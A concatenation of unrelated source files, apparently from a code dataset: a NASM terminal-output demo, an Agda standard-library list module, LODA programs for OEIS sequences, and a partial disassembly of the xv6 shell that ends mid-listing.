; Executable name : eatterm ; Version : 1.0 ; Created date : 2/21/2009 ; Last update : 2/23/2009 ; Author : <NAME> ; Description : A simple program in assembly for Linux, using ; : NASM 2.05, demonstrating the use of escape ; : sequences to do simple "full-screen" text output. ; ; Build using these commands: ; nasm -f elf -g -F stabs eatterm.asm ; ld -o eatterm eatterm.o ; ; section .data ; Section containing initialised data SCRWIDTH: equ 80 ; By default we assume 80 chars wide PosTerm: db 27,"[01;01H" ; <ESC>[<Y>;<X>H POSLEN: equ $-PosTerm ; Length of term position string ClearTerm: db 27,"[2J" ; <ESC>[2J CLEARLEN equ $-ClearTerm ; Length of term clear string AdMsg: db "Eat At Joe's!" ; Ad message ADLEN: equ $-AdMsg ; Length of ad message Prompt: db "Press Enter: " ; User prompt PROMPTLEN: equ $-Prompt ; Length of user prompt ; This table gives us pairs of ASCII digits from 0-80. Rather than ; calculate ASCII digits to insert in the terminal control string, ; we look them up in the table and read back two digits at once to ; a 16-bit register like DX, which we then poke into the terminal ; control string PosTerm at the appropriate place. See GotoXY. ; If you intend to work on a larger console than 80 X 80, you must ; add additional ASCII digit encoding to the end of Digits. Keep in ; mind that the code shown here will only work up to 99 X 99. Digits: db "0001020304050607080910111213141516171819" db "2021222324252627282930313233343536373839" db "4041424344454647484950515253545556575859" db "606162636465666768697071727374757677787980" SECTION .bss ; Section containing uninitialized data SECTION .text ; Section containing code ;------------------------------------------------------------------------- ; ClrScr: Clear the Linux console ; UPDATED: 4/21/2009 ; IN: Nothing ; RETURNS: Nothing ; MODIFIES: Nothing ; CALLS: Kernel sys_write ; DESCRIPTION: Sends the predefined control string <ESC>[2J to the ; console, which clears the full display ClrScr: push eax ; Save pertinent registers push ebx push ecx push edx mov ecx,ClearTerm ; Pass offset of terminal control string mov edx,CLEARLEN ; Pass the length of terminal control string call WriteStr ; Send control string to console pop edx ; Restore pertinent registers pop ecx pop ebx pop eax ret ; Go home ;------------------------------------------------------------------------- ; GotoXY: Position the Linux Console cursor to an X,Y position ; UPDATED: 4/21/2009 ; IN: X in AH, Y in AL ; RETURNS: Nothing ; MODIFIES: PosTerm terminal control sequence string ; CALLS: Kernel sys_write ; DESCRIPTION: Prepares a terminal control string for the X,Y coordinates ; passed in AL and AH and calls sys_write to position the ; console cursor to that X,Y position. Writing text to the ; console after calling GotoXY will begin display of text ; at that X,Y position. GotoXY: pushad ; Save caller's registers xor ebx,ebx ; Zero EBX xor ecx,ecx ; Ditto ECX ; Poke the Y digits: mov bl,al ; Put Y value into scale term EBX mov cx,word [Digits+ebx*2] ; Fetch decimal digits to CX mov word [PosTerm+2],cx ; Poke digits into control string ; Poke the X digits: mov bl,ah ; Put X value into scale term EBX mov cx,word [Digits+ebx*2] ; Fetch decimal digits to CX mov word [PosTerm+5],cx ; Poke digits into control string ; Send control sequence to stdout: mov ecx,PosTerm ; Pass address of the control string mov edx,POSLEN ; Pass the length of the control string call WriteStr ; Send control string to the console ; Wrap up and go home: popad ; Restore caller's registers ret ; Go home ;------------------------------------------------------------------------- ; WriteCtr: Send a string centered to an 80-char wide Linux console ; UPDATED: 4/21/2009 ; IN: Y value in AL, String address in ECX, string length in EDX ; RETURNS: Nothing ; MODIFIES: PosTerm terminal control sequence string ; CALLS: GotoXY, WriteStr ; DESCRIPTION: Displays a string to the Linux console centered in an ; 80-column display. Calculates the X for the passed-in ; string length, then calls GotoXY and WriteStr to send ; the string to the console WriteCtr: push ebx ; Save caller's EBX xor ebx,ebx ; Zero EBX mov bl,SCRWIDTH ; Load the screen width value to BL sub bl,dl ; Take diff. of screen width and string length shr bl,1 ; Divide difference by two for X value mov ah,bl ; GotoXY requires X value in AH call GotoXY ; Position the cursor for display call WriteStr ; Write the string to the console pop ebx ; Restore caller's EBX ret ; Go home ;------------------------------------------------------------------------- ; WriteStr: Send a string to the Linux console ; UPDATED: 4/21/2009 ; IN: String address in ECX, string length in EDX ; RETURNS: Nothing ; MODIFIES: Nothing ; CALLS: Kernel sys_write ; DESCRIPTION: Displays a string to the Linux console through a ; sys_write kernel call WriteStr: push eax ; Save pertinent registers push ebx mov eax,4 ; Specify sys_write call mov ebx,1 ; Specify File Descriptor 1: Stdout int 80H ; Make the kernel call pop ebx ; Restore pertinent registers pop eax ret ; Go home global _start ; Linker needs this to find the entry point! _start: nop ; This no-op keeps gdb happy... ; First we clear the terminal display... call ClrScr ; Then we post the ad message centered on the 80-wide console: mov al,12 mov ecx,AdMsg mov edx,ADLEN call WriteCtr ; Position the cursor for the "Press Enter" prompt: mov ax,0117h ; X,Y = 1,23 as a single hex value in AX call GotoXY ; Position the cursor ; Display the "Press Enter" prompt: mov ecx,Prompt ; Pass offset of the prompt mov edx,PROMPTLEN ; Pass the length of the prompt call WriteStr ; Send the prompt to the console ; Wait for the user to press Enter: mov eax,3 ; Code for sys_read mov ebx,0 ; Specify File Descriptor 0: Stdin int 80H ; Make kernel call ; ...and we're done! Exit: mov eax,1 ; Code for Exit Syscall mov ebx,0 ; Return a code of zero int 80H ; Make kernel call
agda-stdlib/src/Data/List/Relation/Unary/All.agda
DreamLinuxer/popl21-artifact
5
3022
------------------------------------------------------------------------ -- The Agda standard library -- -- Lists where all elements satisfy a given property ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} module Data.List.Relation.Unary.All where open import Category.Applicative open import Category.Monad open import Data.Empty using (⊥) open import Data.List.Base as List using (List; []; _∷_) open import Data.List.Relation.Unary.Any as Any using (Any; here; there) open import Data.List.Membership.Propositional using (_∈_) open import Data.Product as Prod using (∃; -,_; _×_; _,_; proj₁; proj₂; uncurry) open import Function open import Level open import Relation.Nullary hiding (Irrelevant) import Relation.Nullary.Decidable as Dec open import Relation.Nullary.Product using (_×-dec_) open import Relation.Unary hiding (_∈_) open import Relation.Binary.PropositionalEquality as P private variable a b p q r : Level A : Set a B : Set b ------------------------------------------------------------------------ -- Definitions -- Given a predicate P, then All P xs means that every element in xs -- satisfies P. See `Relation.Unary` for an explanation of predicates. infixr 5 _∷_ data All {A : Set a} (P : Pred A p) : Pred (List A) (a ⊔ p) where [] : All P [] _∷_ : ∀ {x xs} (px : P x) (pxs : All P xs) → All P (x ∷ xs) -- All P xs is a finite map from indices x ∈ xs to content P x. -- Relation pxs [ i ]= px states that, in map pxs, key i : x ∈ xs points to value px. infix 4 _[_]=_ data _[_]=_ {A : Set a} {P : Pred A p} : ∀ {x xs} → All P xs → x ∈ xs → P x → Set (a ⊔ p) where here : ∀ {x xs} {px : P x} {pxs : All P xs} → px ∷ pxs [ here refl ]= px there : ∀ {x xs y} {px : P x} {pxs : All P xs} {py : P y} {i : x ∈ xs} → pxs [ i ]= px → py ∷ pxs [ there i ]= px -- A list is empty if having an element is impossible. Null : Pred (List A) _ Null = All (λ _ → ⊥) ------------------------------------------------------------------------ -- Operations on All module _ {P : Pred A p} where uncons : ∀ {x xs} → All P (x ∷ xs) → P x × All P xs uncons (px ∷ pxs) = px , pxs head : ∀ {x xs} → All P (x ∷ xs) → P x head = proj₁ ∘ uncons tail : ∀ {x xs} → All P (x ∷ xs) → All P xs tail = proj₂ ∘ uncons tabulate : ∀ {xs} → (∀ {x} → x ∈ xs → P x) → All P xs tabulate {xs = []} hyp = [] tabulate {xs = x ∷ xs} hyp = hyp (here refl) ∷ tabulate (hyp ∘ there) reduce : (f : ∀ {x} → P x → B) → ∀ {xs} → All P xs → List B reduce f [] = [] reduce f (px ∷ pxs) = f px ∷ reduce f pxs construct : (f : B → ∃ P) (xs : List B) → ∃ (All P) construct f [] = [] , [] construct f (x ∷ xs) = Prod.zip _∷_ _∷_ (f x) (construct f xs) fromList : (xs : List (∃ P)) → All P (List.map proj₁ xs) fromList [] = [] fromList ((x , p) ∷ xps) = p ∷ fromList xps toList : ∀ {xs} → All P xs → List (∃ P) toList pxs = reduce (λ {x} px → x , px) pxs module _ {P : Pred A p} {Q : Pred A q} where map : P ⊆ Q → All P ⊆ All Q map g [] = [] map g (px ∷ pxs) = g px ∷ map g pxs module _ {P : Pred A p} {Q : Pred A q} {R : Pred A r} where zipWith : P ∩ Q ⊆ R → All P ∩ All Q ⊆ All R zipWith f ([] , []) = [] zipWith f (px ∷ pxs , qx ∷ qxs) = f (px , qx) ∷ zipWith f (pxs , qxs) unzipWith : R ⊆ P ∩ Q → All R ⊆ All P ∩ All Q unzipWith f [] = [] , [] unzipWith f (rx ∷ rxs) = Prod.zip _∷_ _∷_ (f rx) (unzipWith f rxs) module _ {P : Pred A p} {Q : Pred A q} where zip : All P ∩ All Q ⊆ All (P ∩ Q) zip = zipWith id unzip : All (P ∩ Q) ⊆ All P ∩ All Q unzip = unzipWith id self : ∀ {xs : List A} → All (const A) xs self = tabulate (λ {x} _ → x) ------------------------------------------------------------------------ -- (weak) updateAt module _ {P : Pred A p} where infixl 6 _[_]%=_ _[_]≔_ updateAt : ∀ {x xs} → x ∈ xs → (P x → P x) → All P xs → All P xs updateAt () f [] updateAt (here refl) f (px ∷ pxs) = f px ∷ pxs updateAt (there i) f (px ∷ pxs) = px ∷ updateAt i f pxs _[_]%=_ : ∀ {x xs} → All P xs → x ∈ xs → (P x → P x) → All P xs pxs [ i ]%= f = updateAt i f pxs _[_]≔_ : ∀ {x xs} → All P xs → x ∈ xs → P x → All P xs pxs [ i ]≔ px = pxs [ i ]%= const px ------------------------------------------------------------------------ -- Traversable-like functions module _ (p : Level) {A : Set a} {P : Pred A (a ⊔ p)} {F : Set (a ⊔ p) → Set (a ⊔ p)} (App : RawApplicative F) where open RawApplicative App sequenceA : All (F ∘′ P) ⊆ F ∘′ All P sequenceA [] = pure [] sequenceA (x ∷ xs) = _∷_ <$> x ⊛ sequenceA xs mapA : ∀ {Q : Pred A q} → (Q ⊆ F ∘′ P) → All Q ⊆ (F ∘′ All P) mapA f = sequenceA ∘′ map f forA : ∀ {Q : Pred A q} {xs} → All Q xs → (Q ⊆ F ∘′ P) → F (All P xs) forA qxs f = mapA f qxs module _ (p : Level) {A : Set a} {P : Pred A (a ⊔ p)} {M : Set (a ⊔ p) → Set (a ⊔ p)} (Mon : RawMonad M) where private App = RawMonad.rawIApplicative Mon sequenceM : All (M ∘′ P) ⊆ M ∘′ All P sequenceM = sequenceA p App mapM : ∀ {Q : Pred A q} → (Q ⊆ M ∘′ P) → All Q ⊆ (M ∘′ All P) mapM = mapA p App forM : ∀ {Q : Pred A q} {xs} → All Q xs → (Q ⊆ M ∘′ P) → M (All P xs) forM = forA p App ------------------------------------------------------------------------ -- Generalised lookup based on a proof of Any module _ {P : Pred A p} {Q : Pred A q} where lookupAny : ∀ {xs} → All P xs → (i : Any Q xs) → (P ∩ Q) (Any.lookup i) lookupAny (px ∷ pxs) (here qx) = px , qx lookupAny (px ∷ pxs) (there i) = lookupAny pxs i module _ {P : Pred A p} {Q : Pred A q} {R : Pred A r} where lookupWith : ∀[ P ⇒ Q ⇒ R ] → ∀ {xs} → All P xs → (i : Any Q xs) → R (Any.lookup i) lookupWith f pxs i = Prod.uncurry f (lookupAny pxs i) module _ {P : Pred A p} where lookup : ∀ {xs} → All P xs → (∀ {x} → x ∈ xs → P x) lookup pxs = lookupWith (λ { px refl → px }) pxs ------------------------------------------------------------------------ -- Properties of predicates preserved by All module _ {P : Pred A p} where all : Decidable P → Decidable (All P) all p [] = yes [] all p (x ∷ xs) = Dec.map′ (uncurry _∷_) uncons (p x ×-dec all p xs) universal : Universal P → Universal (All P) universal u [] = [] universal u (x ∷ xs) = u x ∷ universal u xs irrelevant : Irrelevant P → Irrelevant (All P) irrelevant irr [] [] = P.refl irrelevant irr (px₁ ∷ pxs₁) (px₂ ∷ pxs₂) = P.cong₂ _∷_ (irr px₁ px₂) (irrelevant irr pxs₁ pxs₂) satisfiable : Satisfiable (All P) satisfiable = [] , []
oeis/020/A020794.asm
neoneye/loda-programs
11
173137
<filename>oeis/020/A020794.asm<gh_stars>10-100 ; A020794: Decimal expansion of 1/sqrt(37). ; Submitted by <NAME>(s4) ; 1,6,4,3,9,8,9,8,7,3,0,5,3,5,7,2,8,8,8,9,1,8,8,3,3,5,7,9,7,8,4,3,4,2,4,4,9,2,1,2,1,5,4,0,7,9,6,7,2,0,0,3,0,2,3,3,5,6,5,2,7,8,5,0,4,0,1,7,1,1,5,4,7,3,8,3,4,8,9,2,5,4,0,0,0,8,2,8,7,6,4,3,1,2,9,3,2,0,7,1 mov $1,1 mov $2,1 mov $3,$0 add $3,8 mov $4,$0 add $0,5 add $4,3 mul $4,2 mov $7,10 pow $7,$4 mov $9,10 lpb $3 mov $4,$2 pow $4,2 mul $4,37 mov $5,$1 pow $5,2 add $4,$5 mov $6,$1 mov $1,$4 mul $6,$2 mul $6,2 mov $2,$6 mov $8,$4 div $8,$7 max $8,2 div $1,$8 div $2,$8 sub $3,2 lpe mov $3,$9 pow $3,$0 div $2,$3 mov $0,$2 mod $0,10
programs/oeis/087/A087287.asm
neoneye/loda
22
88778
; A087287: a(n) = Lucas(9*n). ; 2,76,5778,439204,33385282,2537720636,192900153618,14662949395604,1114577054219522,84722519070079276,6440026026380244498,489526700523968661124,37210469265847998489922,2828485190904971853895196,215002084978043708894524818,16342986943522226847837781364,1242282009792667284144565908482,94429775731186235821834846825996,7177905237579946589743592924684178,545615227831807127056334897122823524 mul $0,3 seq $0,1077 ; Numerators of continued fraction convergents to sqrt(5). mul $0,2
programs/oeis/052/A052036.asm
jmorken/loda
1
169117
; A052036: Smallest number that must be added to n to make or keep n palindromic. ; 0,0,0,0,0,0,0,0,0,0,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0 mov $4,$0 mov $5,3 lpb $0 mov $0,11 mov $2,11 sub $5,1 mov $3,$5 sub $4,1 mod $4,11 sub $2,$4 add $2,4 add $3,1 sub $0,$3 add $0,1 mov $1,1 add $1,$2 lpe add $1,1 trn $1,7
sh.asm
avivo23/os_ass3
0
93354
_sh: file format elf32-i386 Disassembly of section .text: 00000000 <runcmd>: struct cmd *parsecmd(char*); // Execute cmd. Never returns. void runcmd(struct cmd *cmd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 28 sub $0x28,%esp struct execcmd *ecmd; struct listcmd *lcmd; struct pipecmd *pcmd; struct redircmd *rcmd; if(cmd == 0) 6: 83 7d 08 00 cmpl $0x0,0x8(%ebp) a: 75 05 jne 11 <runcmd+0x11> exit(); c: e8 d6 0e 00 00 call ee7 <exit> switch(cmd->type){ 11: 8b 45 08 mov 0x8(%ebp),%eax 14: 8b 00 mov (%eax),%eax 16: 83 f8 05 cmp $0x5,%eax 19: 77 09 ja 24 <runcmd+0x24> 1b: 8b 04 85 40 14 00 00 mov 0x1440(,%eax,4),%eax 22: ff e0 jmp *%eax default: panic("runcmd"); 24: 83 ec 0c sub $0xc,%esp 27: 68 14 14 00 00 push $0x1414 2c: e8 7d 03 00 00 call 3ae <panic> 31: 83 c4 10 add $0x10,%esp case EXEC: ecmd = (struct execcmd*)cmd; 34: 8b 45 08 mov 0x8(%ebp),%eax 37: 89 45 f4 mov %eax,-0xc(%ebp) if(ecmd->argv[0] == 0) 3a: 8b 45 f4 mov -0xc(%ebp),%eax 3d: 8b 40 04 mov 0x4(%eax),%eax 40: 85 c0 test %eax,%eax 42: 75 05 jne 49 <runcmd+0x49> exit(); 44: e8 9e 0e 00 00 call ee7 <exit> exec(ecmd->argv[0], ecmd->argv); 49: 8b 45 f4 mov -0xc(%ebp),%eax 4c: 8d 50 04 lea 0x4(%eax),%edx 4f: 8b 45 f4 mov -0xc(%ebp),%eax 52: 8b 40 04 mov 0x4(%eax),%eax 55: 83 ec 08 sub $0x8,%esp 58: 52 push %edx 59: 50 push %eax 5a: e8 c0 0e 00 00 call f1f <exec> 5f: 83 c4 10 add $0x10,%esp printf(2, "exec %s failed\n", ecmd->argv[0]); 62: 8b 45 f4 mov -0xc(%ebp),%eax 65: 8b 40 04 mov 0x4(%eax),%eax 68: 83 ec 04 sub $0x4,%esp 6b: 50 push %eax 6c: 68 1b 14 00 00 push $0x141b 71: 6a 02 push $0x2 73: e8 e6 0f 00 00 call 105e <printf> 78: 83 c4 10 add $0x10,%esp break; 7b: e9 c6 01 00 00 jmp 246 <runcmd+0x246> case REDIR: rcmd = (struct redircmd*)cmd; 80: 8b 45 08 mov 0x8(%ebp),%eax 83: 89 45 f0 mov %eax,-0x10(%ebp) close(rcmd->fd); 86: 8b 45 f0 mov -0x10(%ebp),%eax 89: 8b 40 14 mov 0x14(%eax),%eax 8c: 83 ec 0c sub $0xc,%esp 8f: 50 push %eax 90: e8 7a 0e 00 00 call f0f <close> 95: 83 c4 10 add $0x10,%esp if(open(rcmd->file, rcmd->mode) < 0){ 98: 8b 45 f0 mov -0x10(%ebp),%eax 9b: 8b 50 10 mov 0x10(%eax),%edx 9e: 8b 45 f0 mov -0x10(%ebp),%eax a1: 8b 40 08 mov 0x8(%eax),%eax a4: 83 ec 08 sub $0x8,%esp a7: 52 push %edx a8: 50 push %eax a9: e8 79 0e 00 00 call f27 <open> ae: 83 c4 10 add $0x10,%esp b1: 85 c0 test %eax,%eax b3: 79 1e jns d3 <runcmd+0xd3> printf(2, "open %s failed\n", rcmd->file); b5: 8b 45 f0 mov -0x10(%ebp),%eax b8: 8b 40 08 mov 0x8(%eax),%eax bb: 83 ec 04 sub $0x4,%esp be: 50 push %eax bf: 68 2b 14 00 00 push $0x142b c4: 6a 02 push $0x2 c6: e8 93 0f 00 00 call 105e <printf> cb: 83 c4 10 add $0x10,%esp exit(); ce: e8 14 0e 00 00 call ee7 <exit> } runcmd(rcmd->cmd); d3: 8b 45 f0 mov -0x10(%ebp),%eax d6: 8b 40 04 mov 0x4(%eax),%eax d9: 83 ec 0c sub $0xc,%esp dc: 50 push %eax dd: e8 1e ff ff ff call 0 <runcmd> e2: 83 c4 10 add $0x10,%esp break; e5: e9 5c 01 00 00 jmp 246 <runcmd+0x246> case LIST: lcmd = (struct listcmd*)cmd; ea: 8b 45 08 mov 0x8(%ebp),%eax ed: 89 45 ec mov %eax,-0x14(%ebp) if(fork1() == 0) f0: e8 d9 02 00 00 call 3ce <fork1> f5: 85 c0 test %eax,%eax f7: 75 12 jne 10b <runcmd+0x10b> runcmd(lcmd->left); f9: 8b 45 ec mov -0x14(%ebp),%eax fc: 8b 40 04 mov 0x4(%eax),%eax ff: 83 ec 0c sub $0xc,%esp 102: 50 push %eax 103: e8 f8 fe ff ff call 0 <runcmd> 108: 83 c4 10 add $0x10,%esp wait(); 10b: e8 df 0d 00 00 call eef <wait> runcmd(lcmd->right); 110: 8b 45 ec mov -0x14(%ebp),%eax 113: 8b 40 08 mov 0x8(%eax),%eax 116: 83 ec 0c sub $0xc,%esp 119: 50 push %eax 11a: e8 e1 fe ff ff call 0 <runcmd> 11f: 83 c4 10 add $0x10,%esp break; 122: e9 1f 01 00 00 jmp 246 <runcmd+0x246> case PIPE: pcmd = (struct pipecmd*)cmd; 127: 8b 45 08 mov 0x8(%ebp),%eax 12a: 89 45 e8 mov %eax,-0x18(%ebp) if(pipe(p) < 0) 12d: 83 ec 0c sub $0xc,%esp 130: 8d 45 dc lea -0x24(%ebp),%eax 133: 50 push %eax 134: e8 be 0d 00 00 call ef7 <pipe> 139: 83 c4 10 add $0x10,%esp 13c: 85 c0 test %eax,%eax 13e: 79 10 jns 150 <runcmd+0x150> panic("pipe"); 140: 83 ec 0c sub $0xc,%esp 143: 68 3b 14 00 00 push $0x143b 148: e8 61 02 00 00 call 3ae <panic> 14d: 83 c4 10 add $0x10,%esp if(fork1() == 0){ 150: e8 79 02 00 00 call 3ce <fork1> 155: 85 c0 test %eax,%eax 157: 75 4c jne 1a5 <runcmd+0x1a5> close(1); 159: 83 ec 0c sub $0xc,%esp 15c: 6a 01 push $0x1 15e: e8 ac 0d 00 00 call f0f <close> 163: 83 c4 10 add $0x10,%esp dup(p[1]); 166: 8b 45 e0 mov -0x20(%ebp),%eax 169: 83 ec 0c sub $0xc,%esp 16c: 50 push %eax 16d: e8 ed 0d 00 00 call f5f <dup> 172: 83 c4 10 add $0x10,%esp close(p[0]); 175: 8b 45 dc mov -0x24(%ebp),%eax 178: 83 ec 0c sub $0xc,%esp 17b: 50 push %eax 17c: e8 8e 0d 00 00 call f0f <close> 181: 83 c4 10 add $0x10,%esp close(p[1]); 184: 8b 45 e0 mov -0x20(%ebp),%eax 187: 83 ec 0c sub $0xc,%esp 18a: 50 push %eax 18b: e8 7f 0d 00 00 call f0f <close> 190: 83 c4 10 add $0x10,%esp runcmd(pcmd->left); 193: 8b 45 e8 mov -0x18(%ebp),%eax 196: 8b 40 04 mov 0x4(%eax),%eax 199: 83 ec 0c sub $0xc,%esp 19c: 50 push %eax 19d: e8 5e fe ff ff call 0 <runcmd> 1a2: 83 c4 10 add $0x10,%esp } if(fork1() == 0){ 1a5: e8 24 02 00 00 call 3ce <fork1> 1aa: 85 c0 test %eax,%eax 1ac: 75 4c jne 1fa <runcmd+0x1fa> close(0); 1ae: 83 ec 0c sub $0xc,%esp 1b1: 6a 00 push $0x0 1b3: e8 57 0d 00 00 call f0f <close> 1b8: 83 c4 10 add $0x10,%esp dup(p[0]); 1bb: 8b 45 dc mov -0x24(%ebp),%eax 1be: 83 ec 0c sub $0xc,%esp 1c1: 50 push %eax 1c2: e8 98 0d 00 00 call f5f <dup> 1c7: 83 c4 10 add $0x10,%esp close(p[0]); 1ca: 8b 45 dc mov -0x24(%ebp),%eax 1cd: 83 ec 0c sub $0xc,%esp 1d0: 50 push %eax 1d1: e8 39 0d 00 00 call f0f <close> 1d6: 83 c4 10 add $0x10,%esp close(p[1]); 1d9: 8b 45 e0 mov -0x20(%ebp),%eax 1dc: 83 ec 0c sub $0xc,%esp 1df: 50 push %eax 1e0: e8 2a 0d 00 00 call f0f <close> 1e5: 83 c4 10 add $0x10,%esp runcmd(pcmd->right); 1e8: 8b 45 e8 mov -0x18(%ebp),%eax 1eb: 8b 40 08 mov 0x8(%eax),%eax 1ee: 83 ec 0c sub $0xc,%esp 1f1: 50 push %eax 1f2: e8 09 fe ff ff call 0 <runcmd> 1f7: 83 c4 10 add $0x10,%esp } close(p[0]); 1fa: 8b 45 dc mov -0x24(%ebp),%eax 1fd: 83 ec 0c sub $0xc,%esp 200: 50 push %eax 201: e8 09 0d 00 00 call f0f <close> 206: 83 c4 10 add $0x10,%esp close(p[1]); 209: 8b 45 e0 mov -0x20(%ebp),%eax 20c: 83 ec 0c sub $0xc,%esp 20f: 50 push %eax 210: e8 fa 0c 00 00 call f0f <close> 215: 83 c4 10 add $0x10,%esp wait(); 218: e8 d2 0c 00 00 call eef <wait> wait(); 21d: e8 cd 0c 00 00 call eef <wait> break; 222: eb 22 jmp 246 <runcmd+0x246> case BACK: bcmd = (struct backcmd*)cmd; 224: 8b 45 08 mov 0x8(%ebp),%eax 227: 89 45 e4 mov %eax,-0x1c(%ebp) if(fork1() == 0) 22a: e8 9f 01 00 00 call 3ce <fork1> 22f: 85 c0 test %eax,%eax 231: 75 12 jne 245 <runcmd+0x245> runcmd(bcmd->cmd); 233: 8b 45 e4 mov -0x1c(%ebp),%eax 236: 8b 40 04 mov 0x4(%eax),%eax 239: 83 ec 0c sub $0xc,%esp 23c: 50 push %eax 23d: e8 be fd ff ff call 0 <runcmd> 242: 83 c4 10 add $0x10,%esp break; 245: 90 nop } exit(); 246: e8 9c 0c 00 00 call ee7 <exit> 0000024b <getcmd>: } int getcmd(char *buf, int nbuf) { 24b: 55 push %ebp 24c: 89 e5 mov %esp,%ebp 24e: 83 ec 08 sub $0x8,%esp printf(2, "$ "); 251: 83 ec 08 sub $0x8,%esp 254: 68 58 14 00 00 push $0x1458 259: 6a 02 push $0x2 25b: e8 fe 0d 00 00 call 105e <printf> 260: 83 c4 10 add $0x10,%esp memset(buf, 0, nbuf); 263: 8b 45 0c mov 0xc(%ebp),%eax 266: 83 ec 04 sub $0x4,%esp 269: 50 push %eax 26a: 6a 00 push $0x0 26c: ff 75 08 pushl 0x8(%ebp) 26f: e8 d8 0a 00 00 call d4c <memset> 274: 83 c4 10 add $0x10,%esp gets(buf, nbuf); 277: 83 ec 08 sub $0x8,%esp 27a: ff 75 0c pushl 0xc(%ebp) 27d: ff 75 08 pushl 0x8(%ebp) 280: e8 14 0b 00 00 call d99 <gets> 285: 83 c4 10 add $0x10,%esp if(buf[0] == 0) // EOF 288: 8b 45 08 mov 0x8(%ebp),%eax 28b: 0f b6 00 movzbl (%eax),%eax 28e: 84 c0 test %al,%al 290: 75 07 jne 299 <getcmd+0x4e> return -1; 292: b8 ff ff ff ff mov $0xffffffff,%eax 297: eb 05 jmp 29e <getcmd+0x53> return 0; 299: b8 00 00 00 00 mov $0x0,%eax } 29e: c9 leave 29f: c3 ret 000002a0 <main>: int main(void) { 2a0: 8d 4c 24 04 lea 0x4(%esp),%ecx 2a4: 83 e4 f0 and $0xfffffff0,%esp 2a7: ff 71 fc pushl -0x4(%ecx) 2aa: 55 push %ebp 2ab: 89 e5 mov %esp,%ebp 2ad: 51 push %ecx 2ae: 83 ec 14 sub $0x14,%esp static char buf[100]; int fd; // Assumes three file descriptors open. while((fd = open("console", O_RDWR)) >= 0){ 2b1: eb 16 jmp 2c9 <main+0x29> if(fd >= 3){ 2b3: 83 7d f4 02 cmpl $0x2,-0xc(%ebp) 2b7: 7e 10 jle 2c9 <main+0x29> close(fd); 2b9: 83 ec 0c sub $0xc,%esp 2bc: ff 75 f4 pushl -0xc(%ebp) 2bf: e8 4b 0c 00 00 call f0f <close> 2c4: 83 c4 10 add $0x10,%esp break; 2c7: eb 1b jmp 2e4 <main+0x44> { static char buf[100]; int fd; // Assumes three file descriptors open. while((fd = open("console", O_RDWR)) >= 0){ 2c9: 83 ec 08 sub $0x8,%esp 2cc: 6a 02 push $0x2 2ce: 68 5b 14 00 00 push $0x145b 2d3: e8 4f 0c 00 00 call f27 <open> 2d8: 83 c4 10 add $0x10,%esp 2db: 89 45 f4 mov %eax,-0xc(%ebp) 2de: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2e2: 79 cf jns 2b3 <main+0x13> #ifdef LIFO printf(1, "Paging policy: LIFO\n"); #endif #ifdef SCFIFO printf(1, "Paging policy: SCFIFO\n"); 2e4: 83 ec 08 sub $0x8,%esp 2e7: 68 63 14 00 00 push $0x1463 2ec: 6a 01 push $0x1 2ee: e8 6b 0d 00 00 call 105e <printf> 2f3: 83 c4 10 add $0x10,%esp #ifdef NONE printf(1, "Paging policy: NONE\n"); #endif // Read and run input commands. while(getcmd(buf, sizeof(buf)) >= 0){ 2f6: e9 94 00 00 00 jmp 38f <main+0xef> if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){ 2fb: 0f b6 05 e0 19 00 00 movzbl 0x19e0,%eax 302: 3c 63 cmp $0x63,%al 304: 75 5f jne 365 <main+0xc5> 306: 0f b6 05 e1 19 00 00 movzbl 0x19e1,%eax 30d: 3c 64 cmp $0x64,%al 30f: 75 54 jne 365 <main+0xc5> 311: 0f b6 05 e2 19 00 00 movzbl 0x19e2,%eax 318: 3c 20 cmp $0x20,%al 31a: 75 49 jne 365 <main+0xc5> // Clumsy but will have to do for now. // Chdir has no effect on the parent if run in the child. buf[strlen(buf)-1] = 0; // chop \n 31c: 83 ec 0c sub $0xc,%esp 31f: 68 e0 19 00 00 push $0x19e0 324: e8 fc 09 00 00 call d25 <strlen> 329: 83 c4 10 add $0x10,%esp 32c: 83 e8 01 sub $0x1,%eax 32f: c6 80 e0 19 00 00 00 movb $0x0,0x19e0(%eax) if(chdir(buf+3) < 0) 336: b8 e3 19 00 00 mov $0x19e3,%eax 33b: 83 ec 0c sub $0xc,%esp 33e: 50 push %eax 33f: e8 13 0c 00 00 call f57 <chdir> 344: 83 c4 10 add $0x10,%esp 347: 85 c0 test %eax,%eax 349: 79 44 jns 38f <main+0xef> printf(2, "cannot cd %s\n", buf+3); 34b: b8 e3 19 00 00 mov $0x19e3,%eax 350: 83 ec 04 sub $0x4,%esp 353: 50 push %eax 354: 68 7a 14 00 00 push $0x147a 359: 6a 02 push $0x2 35b: e8 fe 0c 00 00 call 105e <printf> 360: 83 c4 10 add $0x10,%esp continue; 363: eb 2a jmp 38f <main+0xef> } if(fork1() == 0) 365: e8 64 00 00 00 call 3ce <fork1> 36a: 85 c0 test %eax,%eax 36c: 75 1c jne 38a <main+0xea> runcmd(parsecmd(buf)); 36e: 83 ec 0c sub $0xc,%esp 371: 68 e0 19 00 00 push $0x19e0 376: e8 ab 03 00 00 call 726 <parsecmd> 37b: 83 c4 10 add $0x10,%esp 37e: 83 ec 0c sub $0xc,%esp 381: 50 push %eax 382: e8 79 fc ff ff call 0 <runcmd> 387: 83 c4 10 add $0x10,%esp wait(); 38a: e8 60 0b 00 00 call eef <wait> #ifdef NONE printf(1, "Paging policy: NONE\n"); #endif // Read and run input commands. while(getcmd(buf, sizeof(buf)) >= 0){ 38f: 83 ec 08 sub $0x8,%esp 392: 6a 64 push $0x64 394: 68 e0 19 00 00 push $0x19e0 399: e8 ad fe ff ff call 24b <getcmd> 39e: 83 c4 10 add $0x10,%esp 3a1: 85 c0 test %eax,%eax 3a3: 0f 89 52 ff ff ff jns 2fb <main+0x5b> } if(fork1() == 0) runcmd(parsecmd(buf)); wait(); } exit(); 3a9: e8 39 0b 00 00 call ee7 <exit> 000003ae <panic>: } void panic(char *s) { 3ae: 55 push %ebp 3af: 89 e5 mov %esp,%ebp 3b1: 83 ec 08 